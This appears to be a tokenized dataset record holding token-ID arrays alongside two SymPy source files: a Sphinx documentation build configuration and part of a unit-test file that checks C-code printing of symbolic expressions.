9161, 272, 2306, 63, 493, 63, 908, 275, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 272, 2306, 63, 2326, 63, 632, 275, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 272, 2903, 14, 1569, 63, 1751, 14, 9161, 275, 9137, 272, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 275, 570, 63, 908, 272, 340, 570, 63, 908, 508, 283, 24454, 356, 267, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 275, 283, 21631, 7, 272, 1834, 14, 2117, 63, 3352, 8, 515, 12, 13856, 29, 66, 647, 14, 1100, 14, 10436, 9, 272, 2903, 14, 1569, 63, 1751, 14, 9161, 275, 2306, 63, 9161, 272, 2903, 14, 1569, 63, 1751, 14, 493, 63, 908, 275, 2306, 63, 493, 63, 908, 272, 2903, 14, 1569, 63, 1751, 14, 2326, 63, 632, 275, 2306, 63, 2326, 63, 632, 199, 199, 318, 330, 12944, 63, 354, 837, 272, 372, 20575, 14, 515, 14, 4846, 8, 66, 647, 14, 1100, 14, 27163, 63, 576, 14, 7218, 680, 13490, 19237, 16, 61, 199, 199, 318, 1900, 63, 694, 837, 272, 372, 283, 1506, 8650, 435, 5048, 495, 8, 27163, 63, 354, 1012, 199, 199, 318, 664, 63, 3997, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 340, 336, 6883, 14, 5362, 63, 1715, 63, 1231, 1137, 8061, 267, 372, 20575, 14, 515, 14, 4832, 8, 87, 6883, 14, 5362, 63, 1715, 63, 1231, 9, 272, 587, 26, 267, 308, 275, 20575, 14, 576, 14, 7218, 14, 1294, 8, 736, 14, 515, 14, 4127, 9, 267, 308, 14, 1935, 342, 267, 372, 747, 14, 515, 14, 4127, 14, 904, 8, 83, 9, 199, 199, 318, 664, 63, 3997, 63, 1506, 837, 272, 372, 664, 63, 3997, 342, 435, 7324, 435, 1900, 63, 694, 342, 199, 199, 318, 664, 63, 736, 837, 272, 308, 275, 4298, 14, 2253, 342, 272, 340, 308, 508, 283, 8647, 356, 267, 372, 283, 2676, 7, 272, 916, 308, 508, 283, 31065, 356, 267, 372, 283, 3088, 7, 272, 587, 26, 267, 372, 283, 5135, 7, 199, 199, 318, 664, 63, 71, 1246, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 340, 1174, 14, 374, 63, 3790, 26, 267, 1242, 275, 336, 6883, 14, 5362, 63, 30305, 513, 59, 87, 6883, 14, 5362, 63, 30305, 513, 63, 1080, 61, 267, 372, 2519, 8, 1053, 12, 1347, 63, 475, 63, 71, 1246, 8, 1053, 14, 5362, 63, 1715, 63, 1375, 430, 272, 340, 336, 6883, 14, 5362, 63, 7726, 508, 283, 11930, 356, 267, 372, 283, 2520, 3528, 7, 272, 372, 30701, 14, 1208, 14, 362, 63, 6147, 63, 71, 1246, 342, 199, 199, 318, 664, 63, 4599, 837, 272, 336, 6883, 275, 20575, 14, 576, 14, 584, 76, 795, 459, 1596, 77, 418, 272, 372, 336, 6883, 14, 5362, 63, 4599, 513, 59, 87, 6883, 14, 5362, 63, 4599, 513, 63, 1080, 61, 199, 199, 318, 330, 725, 1146, 63, 9277, 63, 515, 837, 272, 340, 664, 63, 736, 342, 508, 283, 3088, 356, 267, 327, 15610, 641, 10444, 3100, 365, 16180, 315, 1275, 571, 4922, 7037, 370, 6391, 267, 299, 275, 20575, 14, 571, 14, 3008, 63, 515, 267, 340, 299, 14, 4130, 360, 11383, 15, 3399, 3100, 15, 66, 24912, 735, 288, 372, 299, 4439, 552, 360, 11383, 15, 3399, 3100, 15, 66, 24912, 5440, 435, 1994, 25005, 6341, 4805, 267, 587, 26, 288, 372, 299, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kevalds51/sympy
doc/src/conf.py
54
6371
# -*- coding: utf-8 -*- # # SymPy documentation build configuration file, created by # sphinx-quickstart.py on Sat Mar 22 19:34:32 2008. # # This file is execfile()d with the current directory set to its containing dir. # # The contents of this file are pickled, so don't put values in the namespace # that aren't pickleable (module imports are okay, they're removed automatically). # # All configuration values have a default value; values that are commented out # serve to show the default value. import sys import sympy # If your extensions are in another directory, add it here. sys.path = ['../sympy', 'ext'] + sys.path # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.addons.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode', 'sphinx.ext.mathjax', 'numpydoc', 'sympylive', 'sphinx.ext.graphviz', ] # Use this to use pngmath instead #extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode', 'sphinx.ext.pngmath', ] # MathJax file, which is free to use. See http://www.mathjax.org/docs/2.0/start.html mathjax_path = 'http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS_HTML-full' # Add any paths that contain templates here, relative to this directory. templates_path = ['.templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'SymPy' copyright = '2015 SymPy Development Team' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = sympy.__version__ # The full version, including alpha/beta/rc tags. release = version # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. html_style = 'default.css' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' html_logo = '_static/sympylogo.png' html_favicon = '../_build/logo/sympy-notailtext-favicon.ico' # See http://sphinx-doc.org/theming.html#builtin-themes. # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Content template for the index page. #html_index = '' # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_use_modindex = True html_domain_indices = ['py-modindex'] # If true, the reST sources are included in the HTML build as _sources/<name>. #html_copy_source = True # Output file base name for HTML help builder. htmlhelp_basename = 'SymPydoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, document class [howto/manual], toctree_only). # toctree_only is set to True so that the start file document itself is not included in the # output, only the documents referenced by it via TOC trees. The extra stuff in the master # document is intended to show up in the HTML, but doesn't really belong in the LaTeX output. latex_documents = [('index', 'sympy-%s.tex' % release, 'SymPy Documentation', 'SymPy Development Team', 'manual', True)] # Additional stuff for the LaTeX preamble. # Tweaked to work with XeTeX. latex_elements = { 'babel': '', 'fontenc': r''' \usepackage{bm} \usepackage{amssymb} \usepackage{fontspec} \usepackage[english]{babel} \defaultfontfeatures{Mapping=tex-text} \setmainfont{DejaVu Serif} \setsansfont{DejaVu Sans} \setmonofont{DejaVu Sans Mono} ''', 'fontpkg': '', 'inputenc': '', 'utf8extra': '', 'preamble': r''' % redefine \LaTeX to be usable in math mode \expandafter\def\expandafter\LaTeX\expandafter{\expandafter\text\expandafter{\LaTeX}} ''' } # SymPy logo on title page html_logo = '_static/sympylogo.png' latex_logo = '_static/sympylogo_big.png' # Documents to append as an appendix to all manuals. #latex_appendices = [] # Show page numbers next to internal references latex_show_pagerefs = True # We use False otherwise the module index gets generated twice. latex_use_modindex = False default_role = 'math' pngmath_divpng_args = ['-gamma 1.5', '-D 110'] # Note, this is ignored by the mathjax extension # Any \newcommand should be defined in the file pngmath_latex_preamble = '\\usepackage{amsmath}\n' \ '\\usepackage{bm}\n' \ '\\usepackage{amsfonts}\n' \ '\\usepackage{amssymb}\n' \ '\\setlength{\\parindent}{0pt}\n' texinfo_documents = [ (master_doc, 'sympy', 'SymPy Documentation', 'SymPy Development Team', 'SymPy', 'Computer algebra system (CAS) in Python', 'Programming', 1), ] # Use svg for graphviz graphviz_output_format = 'svg'
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 21478, 2713, 3794, 1900, 2897, 570, 12, 2737, 701, 199, 3, 15882, 13, 28957, 14, 647, 641, 428, 292, 16794, 6928, 5851, 26, 1082, 26, 708, 9079, 14, 199, 3, 199, 3, 961, 570, 365, 22711, 342, 68, 543, 314, 1453, 2082, 663, 370, 2399, 3035, 2935, 14, 199, 3, 199, 3, 710, 4072, 402, 642, 570, 787, 18731, 12, 880, 2793, 1133, 5324, 1338, 315, 314, 3231, 199, 3, 626, 10621, 1133, 5927, 461, 334, 578, 8925, 787, 5849, 12, 2985, 3984, 4829, 5847, 680, 199, 3, 199, 3, 2900, 2897, 1338, 1172, 282, 849, 574, 27, 1338, 626, 787, 21804, 734, 199, 3, 14062, 370, 2498, 314, 849, 574, 14, 199, 199, 646, 984, 199, 646, 5840, 199, 199, 3, 982, 2195, 5478, 787, 315, 4573, 2082, 12, 1050, 652, 2348, 14, 199, 1274, 14, 515, 275, 788, 5093, 18132, 297, 283, 832, 418, 435, 984, 14, 515, 199, 199, 3, 1696, 2897, 199, 3, 10652, 9858, 199, 199, 3, 2654, 1263, 10229, 3329, 859, 1561, 2348, 12, 465, 3326, 14, 9322, 883, 506, 5478, 199, 3, 17262, 543, 10229, 334, 4579, 283, 8008, 14, 10788, 24915, 503, 2195, 3537, 7869, 14, 199, 5359, 275, 788, 8008, 14, 832, 14, 28056, 297, 283, 8008, 14, 832, 14, 1345, 600, 297, 283, 8008, 14, 832, 14, 3442, 15863, 297, 1598, 283, 4714, 1301, 297, 283, 18132, 6442, 297, 283, 8008, 14, 832, 14, 2180, 17249, 297, 1622, 199, 199, 3, 3645, 642, 370, 675, 25296, 3442, 3140, 199, 3, 5359, 275, 788, 8008, 14, 832, 14, 28056, 297, 283, 8008, 14, 832, 14, 1345, 600, 297, 283, 8008, 14, 832, 14, 4524, 3442, 297, 1622, 199, 199, 3, 21066, 42, 1219, 570, 12, 1314, 365, 2867, 370, 675, 14, 221, 1666, 1455, 921, 1544, 14, 3442, 15863, 14, 1308, 15, 4757, 15, 18, 14, 16, 15, 928, 14, 1360, 199, 3442, 15863, 63, 515, 275, 283, 1014, 921, 23982, 14, 3442, 15863, 14, 1308, 15, 3442, 15863, 15, 7410, 15, 18568, 42, 1219, 14, 3596, 31, 888, 29, 12589, 13, 1156, 51, 63, 4943, 13, 2861, 7, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 7009, 2348, 12, 3847, 370, 642, 2082, 14, 199, 5876, 63, 515, 275, 18953, 5876, 418, 199, 199, 3, 710, 4739, 402, 1350, 6203, 14, 199, 1365, 63, 4511, 275, 1987, 8332, 7, 199, 199, 3, 710, 5288, 28310, 2213, 14, 199, 4133, 63, 1301, 275, 283, 1080, 7, 199, 199, 3, 1696, 20873, 14, 199, 1715, 275, 283, 16594, 2713, 7, 199, 7307, 275, 283, 7806, 21478, 2713, 15290, 11682, 7, 199, 199, 3, 710, 849, 22372, 367, 1204, 1023, 92, 436, 1204, 3221, 18712, 2597, 1202, 315, 7750, 199, 3, 1163, 9825, 23088, 314, 6137, 8247, 14, 199, 3, 199, 3, 710, 3974, 1323, 14, 57, 1015, 14, 199, 1023, 275, 5840, 855, 1023, 363, 199, 3, 710, 2615, 1015, 12, 5893, 5131, 15, 5683, 15, 1195, 3762, 14, 199, 3221, 275, 1015, 199, 199, 3, 6006, 787, 2877, 1511, 367, 15810, 1204, 8136, 25004, 1902, 12, 1265, 663, 11168, 370, 2005, 199, 3, 2222, 13, 3910, 574, 12, 2066, 652, 365, 1202, 26, 199, 3, 8136, 275, 2125, 199, 3, 19524, 12, 11168, 63, 5045, 365, 1202, 465, 314, 1475, 367, 282, 14053, 1240, 14, 199, 8136, 63, 5045, 275, 1543, 34, 450, 68, 12, 450, 57, 7, 199, 199, 3, 3820, 402, 8247, 626, 9296, 1133, 506, 5120, 315, 314, 1900, 14, 199, 3, 8618, 63, 4757, 275, 942, 199, 199, 3, 982, 2549, 12, 26380, 911, 506, 11544, 370, 520, 1532, 26, 5423, 14, 8059, 13, 4443, 1318, 14, 199, 3, 525, 63, 1593, 63, 25510, 275, 715, 199, 199, 3, 982, 2549, 12, 314, 1453, 859, 536, 911, 506, 20247, 370, 1006, 1369, 199, 3, 4137, 16194, 334, 10180, 465, 2508, 805, 32469, 199, 3, 525, 63, 578, 63, 1247, 275, 715, 199, 199, 3, 982, 2549, 12, 3420, 2502, 436, 28966, 13502, 911, 506, 9164, 315, 314, 199, 3, 1072, 14, 9322, 787, 5525, 701, 849, 14, 199, 3, 2384, 63, 8149, 275, 756, 199, 199, 3, 710, 536, 402, 314, 14493, 334, 7093, 22437, 9, 3449, 370, 675, 14, 199, 12173, 63, 2487, 275, 283, 8008, 7, 421, 199, 3, 8394, 367, 4163, 1072, 199, 3, 10652, 12797, 199, 199, 3, 710, 3449, 12083, 370, 675, 367, 4163, 436, 4163, 15456, 6497, 14, 437, 570, 402, 626, 536, 199, 3, 1471, 2187, 1902, 315, 10229, 7, 2955, 15, 931, 12, 503, 315, 1373, 402, 314, 3537, 3792, 199, 3, 1627, 315, 3517, 63, 1986, 63, 515, 14, 199, 1360, 63, 2487, 275, 283, 885, 14, 3919, 7, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 3537, 2955, 1584, 334, 10180, 465, 3449, 24405, 9, 2348, 12, 199, 3, 3847, 370, 642, 2082, 14, 9322, 787, 8876, 2410, 314, 6762, 2955, 1584, 12, 199, 3, 880, 282, 570, 4310, 298, 885, 14, 3919, 2, 911, 8970, 314, 6762, 298, 885, 14, 3919, 1674, 199, 1360, 63, 1986, 63, 515, 275, 4044, 1986, 418, 199, 199, 3, 982, 440, 3260, 282, 283, 6090, 4588, 641, 4881, 4913, 365, 11788, 737, 4036, 2034, 9048, 12, 199, 3, 1808, 314, 1627, 14053, 1475, 14, 199, 1360, 63, 2019, 63, 5334, 63, 5045, 275, 1543, 66, 450, 68, 12, 450, 57, 7, 199, 199, 1360, 63, 9733, 275, 2513, 1986, 15, 18132, 9733, 14, 4524, 7, 199, 1360, 63, 22229, 275, 20644, 63, 1506, 15, 9733, 15, 18132, 13, 1397, 1054, 505, 13, 22229, 14, 12802, 7, 199, 3, 1666, 1455, 921, 8008, 13, 1301, 14, 1308, 15, 1589, 14566, 14, 1360, 3, 5351, 13, 23900, 14, 421, 199, 3, 982, 2549, 12, 30255, 911, 506, 1202, 370, 3957, 9344, 436, 21106, 370, 199, 3, 24013, 25537, 3211, 9045, 14, 199, 3, 1360, 63, 1180, 63, 30781, 275, 715, 199, 199, 3, 6646, 1978, 367, 314, 1478, 2034, 14, 199, 3, 1360, 63, 1080, 275, 2125, 199, 199, 3, 8388, 18437, 7009, 12, 9033, 2213, 1561, 370, 1978, 1561, 14, 199, 3, 1360, 63, 29627, 275, 1052, 199, 199, 3, 10961, 7009, 626 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 21478, 2713, 3794, 1900, 2897, 570, 12, 2737, 701, 199, 3, 15882, 13, 28957, 14, 647, 641, 428, 292, 16794, 6928, 5851, 26, 1082, 26, 708, 9079, 14, 199, 3, 199, 3, 961, 570, 365, 22711, 342, 68, 543, 314, 1453, 2082, 663, 370, 2399, 3035, 2935, 14, 199, 3, 199, 3, 710, 4072, 402, 642, 570, 787, 18731, 12, 880, 2793, 1133, 5324, 1338, 315, 314, 3231, 199, 3, 626, 10621, 1133, 5927, 461, 334, 578, 8925, 787, 5849, 12, 2985, 3984, 4829, 5847, 680, 199, 3, 199, 3, 2900, 2897, 1338, 1172, 282, 849, 574, 27, 1338, 626, 787, 21804, 734, 199, 3, 14062, 370, 2498, 314, 849, 574, 14, 199, 199, 646, 984, 199, 646, 5840, 199, 199, 3, 982, 2195, 5478, 787, 315, 4573, 2082, 12, 1050, 652, 2348, 14, 199, 1274, 14, 515, 275, 788, 5093, 18132, 297, 283, 832, 418, 435, 984, 14, 515, 199, 199, 3, 1696, 2897, 199, 3, 10652, 9858, 199, 199, 3, 2654, 1263, 10229, 3329, 859, 1561, 2348, 12, 465, 3326, 14, 9322, 883, 506, 5478, 199, 3, 17262, 543, 10229, 334, 4579, 283, 8008, 14, 10788, 24915, 503, 2195, 3537, 7869, 14, 199, 5359, 275, 788, 8008, 14, 832, 14, 28056, 297, 283, 8008, 14, 832, 14, 1345, 600, 297, 283, 8008, 14, 832, 14, 3442, 15863, 297, 1598, 283, 4714, 1301, 297, 283, 18132, 6442, 297, 283, 8008, 14, 832, 14, 2180, 17249, 297, 1622, 199, 199, 3, 3645, 642, 370, 675, 25296, 3442, 3140, 199, 3, 5359, 275, 788, 8008, 14, 832, 14, 28056, 297, 283, 8008, 14, 832, 14, 1345, 600, 297, 283, 8008, 14, 832, 14, 4524, 3442, 297, 1622, 199, 199, 3, 21066, 42, 1219, 570, 12, 1314, 365, 2867, 370, 675, 14, 221, 1666, 1455, 921, 1544, 14, 3442, 15863, 14, 1308, 15, 4757, 15, 18, 14, 16, 15, 928, 14, 1360, 199, 3442, 15863, 63, 515, 275, 283, 1014, 921, 23982, 14, 3442, 15863, 14, 1308, 15, 3442, 15863, 15, 7410, 15, 18568, 42, 1219, 14, 3596, 31, 888, 29, 12589, 13, 1156, 51, 63, 4943, 13, 2861, 7, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 7009, 2348, 12, 3847, 370, 642, 2082, 14, 199, 5876, 63, 515, 275, 18953, 5876, 418, 199, 199, 3, 710, 4739, 402, 1350, 6203, 14, 199, 1365, 63, 4511, 275, 1987, 8332, 7, 199, 199, 3, 710, 5288, 28310, 2213, 14, 199, 4133, 63, 1301, 275, 283, 1080, 7, 199, 199, 3, 1696, 20873, 14, 199, 1715, 275, 283, 16594, 2713, 7, 199, 7307, 275, 283, 7806, 21478, 2713, 15290, 11682, 7, 199, 199, 3, 710, 849, 22372, 367, 1204, 1023, 92, 436, 1204, 3221, 18712, 2597, 1202, 315, 7750, 199, 3, 1163, 9825, 23088, 314, 6137, 8247, 14, 199, 3, 199, 3, 710, 3974, 1323, 14, 57, 1015, 14, 199, 1023, 275, 5840, 855, 1023, 363, 199, 3, 710, 2615, 1015, 12, 5893, 5131, 15, 5683, 15, 1195, 3762, 14, 199, 3221, 275, 1015, 199, 199, 3, 6006, 787, 2877, 1511, 367, 15810, 1204, 8136, 25004, 1902, 12, 1265, 663, 11168, 370, 2005, 199, 3, 2222, 13, 3910, 574, 12, 2066, 652, 365, 1202, 26, 199, 3, 8136, 275, 2125, 199, 3, 19524, 12, 11168, 63, 5045, 365, 1202, 465, 314, 1475, 367, 282, 14053, 1240, 14, 199, 8136, 63, 5045, 275, 1543, 34, 450, 68, 12, 450, 57, 7, 199, 199, 3, 3820, 402, 8247, 626, 9296, 1133, 506, 5120, 315, 314, 1900, 14, 199, 3, 8618, 63, 4757, 275, 942, 199, 199, 3, 982, 2549, 12, 26380, 911, 506, 11544, 370, 520, 1532, 26, 5423, 14, 8059, 13, 4443, 1318, 14, 199, 3, 525, 63, 1593, 63, 25510, 275, 715, 199, 199, 3, 982, 2549, 12, 314, 1453, 859, 536, 911, 506, 20247, 370, 1006, 1369, 199, 3, 4137, 16194, 334, 10180, 465, 2508, 805, 32469, 199, 3, 525, 63, 578, 63, 1247, 275, 715, 199, 199, 3, 982, 2549, 12, 3420, 2502, 436, 28966, 13502, 911, 506, 9164, 315, 314, 199, 3, 1072, 14, 9322, 787, 5525, 701, 849, 14, 199, 3, 2384, 63, 8149, 275, 756, 199, 199, 3, 710, 536, 402, 314, 14493, 334, 7093, 22437, 9, 3449, 370, 675, 14, 199, 12173, 63, 2487, 275, 283, 8008, 7, 421, 199, 3, 8394, 367, 4163, 1072, 199, 3, 10652, 12797, 199, 199, 3, 710, 3449, 12083, 370, 675, 367, 4163, 436, 4163, 15456, 6497, 14, 437, 570, 402, 626, 536, 199, 3, 1471, 2187, 1902, 315, 10229, 7, 2955, 15, 931, 12, 503, 315, 1373, 402, 314, 3537, 3792, 199, 3, 1627, 315, 3517, 63, 1986, 63, 515, 14, 199, 1360, 63, 2487, 275, 283, 885, 14, 3919, 7, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 3537, 2955, 1584, 334, 10180, 465, 3449, 24405, 9, 2348, 12, 199, 3, 3847, 370, 642, 2082, 14, 9322, 787, 8876, 2410, 314, 6762, 2955, 1584, 12, 199, 3, 880, 282, 570, 4310, 298, 885, 14, 3919, 2, 911, 8970, 314, 6762, 298, 885, 14, 3919, 1674, 199, 1360, 63, 1986, 63, 515, 275, 4044, 1986, 418, 199, 199, 3, 982, 440, 3260, 282, 283, 6090, 4588, 641, 4881, 4913, 365, 11788, 737, 4036, 2034, 9048, 12, 199, 3, 1808, 314, 1627, 14053, 1475, 14, 199, 1360, 63, 2019, 63, 5334, 63, 5045, 275, 1543, 66, 450, 68, 12, 450, 57, 7, 199, 199, 1360, 63, 9733, 275, 2513, 1986, 15, 18132, 9733, 14, 4524, 7, 199, 1360, 63, 22229, 275, 20644, 63, 1506, 15, 9733, 15, 18132, 13, 1397, 1054, 505, 13, 22229, 14, 12802, 7, 199, 3, 1666, 1455, 921, 8008, 13, 1301, 14, 1308, 15, 1589, 14566, 14, 1360, 3, 5351, 13, 23900, 14, 421, 199, 3, 982, 2549, 12, 30255, 911, 506, 1202, 370, 3957, 9344, 436, 21106, 370, 199, 3, 24013, 25537, 3211, 9045, 14, 199, 3, 1360, 63, 1180, 63, 30781, 275, 715, 199, 199, 3, 6646, 1978, 367, 314, 1478, 2034, 14, 199, 3, 1360, 63, 1080, 275, 2125, 199, 199, 3, 8388, 18437, 7009, 12, 9033, 2213, 1561, 370, 1978, 1561, 14, 199, 3, 1360, 63, 29627, 275, 1052, 199, 199, 3, 10961, 7009, 626, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
asm666/sympy
sympy/printing/tests/test_ccode.py
46
13866
from sympy.core import (pi, oo, symbols, Rational, Integer, GoldenRatio, EulerGamma, Catalan, Lambda, Dummy, Eq) from sympy.functions import (Piecewise, sin, cos, Abs, exp, ceiling, sqrt, gamma, sign) from sympy.utilities.pytest import raises from sympy.printing.ccode import CCodePrinter from sympy.utilities.lambdify import implemented_function from sympy.tensor import IndexedBase, Idx from sympy.matrices import Matrix, MatrixSymbol from sympy import ccode x, y, z = symbols('x,y,z') def test_printmethod(): class fabs(Abs): def _ccode(self, printer): return "fabs(%s)" % printer._print(self.args[0]) assert ccode(fabs(x)) == "fabs(x)" def test_ccode_sqrt(): assert ccode(sqrt(x)) == "sqrt(x)" assert ccode(x**0.5) == "sqrt(x)" assert ccode(sqrt(x)) == "sqrt(x)" def test_ccode_Pow(): assert ccode(x**3) == "pow(x, 3)" assert ccode(x**(y**3)) == "pow(x, pow(y, 3))" g = implemented_function('g', Lambda(x, 2*x)) assert ccode(1/(g(x)*3.5)**(x - y**x)/(x**2 + y)) == \ "pow(3.5*2*x, -x + pow(y, x))/(pow(x, 2) + y)" assert ccode(x**-1.0) == '1.0/x' assert ccode(x**Rational(2, 3)) == 'pow(x, 2.0L/3.0L)' _cond_cfunc = [(lambda base, exp: exp.is_integer, "dpowi"), (lambda base, exp: not exp.is_integer, "pow")] assert ccode(x**3, user_functions={'Pow': _cond_cfunc}) == 'dpowi(x, 3)' assert ccode(x**3.2, user_functions={'Pow': _cond_cfunc}) == 'pow(x, 3.2)' def test_ccode_constants_mathh(): assert ccode(exp(1)) == "M_E" assert ccode(pi) == "M_PI" assert ccode(oo) == "HUGE_VAL" assert ccode(-oo) == "-HUGE_VAL" def test_ccode_constants_other(): assert ccode(2*GoldenRatio) == "double const GoldenRatio = 1.61803398874989;\n2*GoldenRatio" assert ccode( 2*Catalan) == "double const Catalan = 0.915965594177219;\n2*Catalan" assert ccode(2*EulerGamma) == "double const EulerGamma = 0.577215664901533;\n2*EulerGamma" def test_ccode_Rational(): assert ccode(Rational(3, 7)) == "3.0L/7.0L" assert ccode(Rational(18, 9)) == "2" assert ccode(Rational(3, -7)) == "-3.0L/7.0L" assert ccode(Rational(-3, -7)) == "3.0L/7.0L" assert ccode(x + Rational(3, 7)) == "x + 3.0L/7.0L" assert ccode(Rational(3, 7)*x) == "(3.0L/7.0L)*x" def test_ccode_Integer(): assert ccode(Integer(67)) == "67" assert ccode(Integer(-1)) == "-1" def test_ccode_functions(): assert ccode(sin(x) ** cos(x)) == "pow(sin(x), cos(x))" def test_ccode_inline_function(): x = symbols('x') g = implemented_function('g', Lambda(x, 2*x)) assert ccode(g(x)) == "2*x" g = implemented_function('g', Lambda(x, 2*x/Catalan)) assert ccode( g(x)) == "double const Catalan = %s;\n2*x/Catalan" % Catalan.n() A = IndexedBase('A') i = Idx('i', symbols('n', integer=True)) g = implemented_function('g', Lambda(x, x*(1 + x)*(2 + x))) assert ccode(g(A[i]), assign_to=A[i]) == ( "for (int i=0; i<n; i++){\n" " A[i] = (A[i] + 1)*(A[i] + 2)*A[i];\n" "}" ) def test_ccode_exceptions(): assert ccode(ceiling(x)) == "ceil(x)" 